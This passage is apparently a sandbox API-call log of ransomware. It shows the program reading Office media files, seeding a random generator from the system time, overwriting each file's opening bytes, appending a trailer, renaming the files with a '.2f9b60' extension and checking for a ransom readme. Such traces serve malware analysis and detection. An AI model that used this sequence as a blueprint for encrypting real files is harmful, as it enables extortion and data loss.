office\\media\\cagcat10\\j0284916.jpg")) returned 0x20 [0131.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG", dwFileAttributes=0x20) returned 1 [0131.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8 [0131.342] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x23b7f680 | out: lpFileSize=0x23b7f680*=25315) returned 1 [0131.342] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x62df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.342] ReadFile (in: hFile=0x1ac8, lpBuffer=0x23b7f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23b7f648, lpOverlapped=0x0 | out: lpBuffer=0x23b7f600*, lpNumberOfBytesRead=0x23b7f648*=0x4, lpOverlapped=0x0) returned 1 [0131.352] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0131.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0131.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.352] NtQuerySystemTime (in: CurrentTime=0x23b7f540 | out: CurrentTime=0x23b7f540*=132462177366010000) returned 0x0 [0131.352] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x4697846 [0131.352] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x1786ac4b [0131.352] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x72629933 [0131.352] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x268d7b24 [0131.352] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x5bf6a5c4 [0131.352] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x758ef12e [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x91cf6c7 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x5d95f3d1 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x4cea4bbf [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x34ccf1a8 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x29cd91d8 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x4219c175 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x4914729 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x384f1d23 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x4a8cca92 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x611ea0a9 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x1739e4a8 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x1cfcc673 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x5b33af88 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x3648f813 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0xe9c0384 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x739fb1dd [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x56b244fa [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x3f7f7086 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x10cca652 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x5fcd0906 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x5dedebf0 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x523988d0 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x293bb62a [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x7907c079 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x6ac35ad5 [0131.353] RtlRandomEx (in: Seed=0x23b7f530 | out: Seed=0x23b7f530) returned 0x58a607be [0131.366] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.366] ReadFile (in: hFile=0x1ac8, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23b7f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x23b7f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.370] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0131.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f100b0 [0131.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0131.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.371] WriteFile (in: hFile=0x1ac8, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23b7f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x23b7f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266ab0 [0131.385] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.385] WriteFile (in: hFile=0x1ac8, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23b7f650, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x23b7f650*=0x10a, lpOverlapped=0x0) returned 1 [0131.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70e0) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0131.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0131.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205cbf0 [0131.438] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" [0131.439] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.2f9b60" [0131.439] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.2f9b60", NtPathName=0x23b7f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.441] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x23b7f6d8, FileInformation=0x23b7f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23b7f6d8, FileInformation=0x23b7f6e8) returned 0x0 [0131.441] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x23b7f6d8, FileInformation=0x23b7f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.443] FlushFileBuffers (hFile=0x1ac8) returned 1 [0131.503] CloseHandle (hObject=0x1ac8) returned 1 [0131.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050af50 [0131.505] wcscpy (in: _Dest=0x2050af50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.505] wcscat (in: _Dest=0x2050af50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050af50) returned 1 [0131.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ada0) returned 1 Thread: id = 1734 os_tid = 0x172c [0131.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf")) returned 0x20 [0131.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF", dwFileAttributes=0x20) returned 1 [0131.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.391] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2381fdc0 | out: lpFileSize=0x2381fdc0*=30838) returned 1 [0131.391] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x7872, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.391] ReadFile (in: hFile=0x1ac0, lpBuffer=0x2381fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2381fd88, lpOverlapped=0x0 | out: lpBuffer=0x2381fd40*, lpNumberOfBytesRead=0x2381fd88*=0x4, lpOverlapped=0x0) returned 1 [0131.393] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.393] NtQuerySystemTime (in: CurrentTime=0x2381fc80 | out: CurrentTime=0x2381fc80*=132462177366322000) returned 0x0 [0131.393] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x5e30f3d4 [0131.393] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x1a717034 [0131.393] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x7dbe293 [0131.393] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x18d7f443 [0131.393] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x6d6a2d02 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x259b87da [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x2653aef5 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x44c9e9a9 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x21c5be14 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x72ccf2ca [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x71512906 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x6c5a07da [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x4a5e2596 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x519c4dfd [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x21f1f4f6 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x2898dcb7 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x67772623 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x7d43bc92 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x26193f7f [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x4f2efddd [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x148dd36d [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x2e96d546 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x399f513f [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x5dfde772 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x4820bbd7 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x3459fc91 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x2176c70b [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x84b1d48 [0131.394] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x41e3ac04 [0131.395] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x2cb507c6 [0131.395] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x260ea302 [0131.395] RtlRandomEx (in: Seed=0x2381fc70 | out: Seed=0x2381fc70) returned 0x12e763ce [0131.407] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.407] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2381fce0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x2381fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.409] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f100b0 [0131.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0131.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.411] WriteFile (in: hFile=0x1ac0, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2381fce0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x2381fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266840 [0131.415] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.415] WriteFile (in: hFile=0x1ac0, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2381fd90, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x2381fd90*=0x10a, lpOverlapped=0x0) returned 1 [0131.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0131.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0131.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0131.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0131.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0131.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.418] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="3a") returned 2 [0131.418] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="38") returned 2 [0131.418] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="d7") returned 2 [0131.418] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="06") returned 2 [0131.418] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="22") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="c4") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="e9") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="24") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="d0") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="aa") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="63") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="9e") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="19") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="59") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="84") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="c2") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="26") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="19") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="46") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="74") returned 2 [0131.419] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="b3") returned 2 [0131.420] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="cc") returned 2 [0131.420] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="57") returned 2 [0131.420] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="2c") returned 2 [0131.420] RtlInitAnsiString (in: DestinationString=0x2381fe08, SourceString="3a38d70622c4e924d0aa639e195984c226194674b3cc572c" | out: DestinationString="3a38d70622c4e924d0aa639e195984c226194674b3cc572c") [0131.420] RtlAnsiStringToUnicodeString (in: DestinationString=0x2381fdd8, SourceString="3a38d70622c4e924d0aa639e195984c226194674b3cc572c", AllocateDestinationString=1 | out: DestinationString="3a38d70622c4e924d0aa639e195984c226194674b3cc572c") returned 0x0 [0131.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.420] wcscat (in: _Dest=0x4205cbf0, _Source="3a38d70622c4" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3a38d70622c4") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3a38d70622c4" [0131.420] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3a38d70622c4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3a38d70622c4.2f9b60" [0131.420] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3a38d70622c4.2f9b60", NtPathName=0x2381fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\3a38d70622c4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.423] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x2381fe18, FileInformation=0x2381fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2381fe18, FileInformation=0x2381fe28) returned 0x0 [0131.423] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2381fe18, FileInformation=0x2381fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0131.427] FlushFileBuffers (hFile=0x1ac0) returned 1 [0131.429] CloseHandle (hObject=0x1ac0) returned 1 [0131.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b100 [0131.436] wcscpy (in: _Dest=0x2050b100, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.436] wcscat (in: _Dest=0x2050b100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b100) returned 1 [0131.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050af50) returned 1 Thread: id = 1735 os_tid = 0xfa4 [0131.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf")) returned 0x20 [0131.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF", dwFileAttributes=0x20) returned 1 [0131.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0131.483] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x22b8fc20 | out: lpFileSize=0x22b8fc20*=12516) returned 1 [0131.483] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x30e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 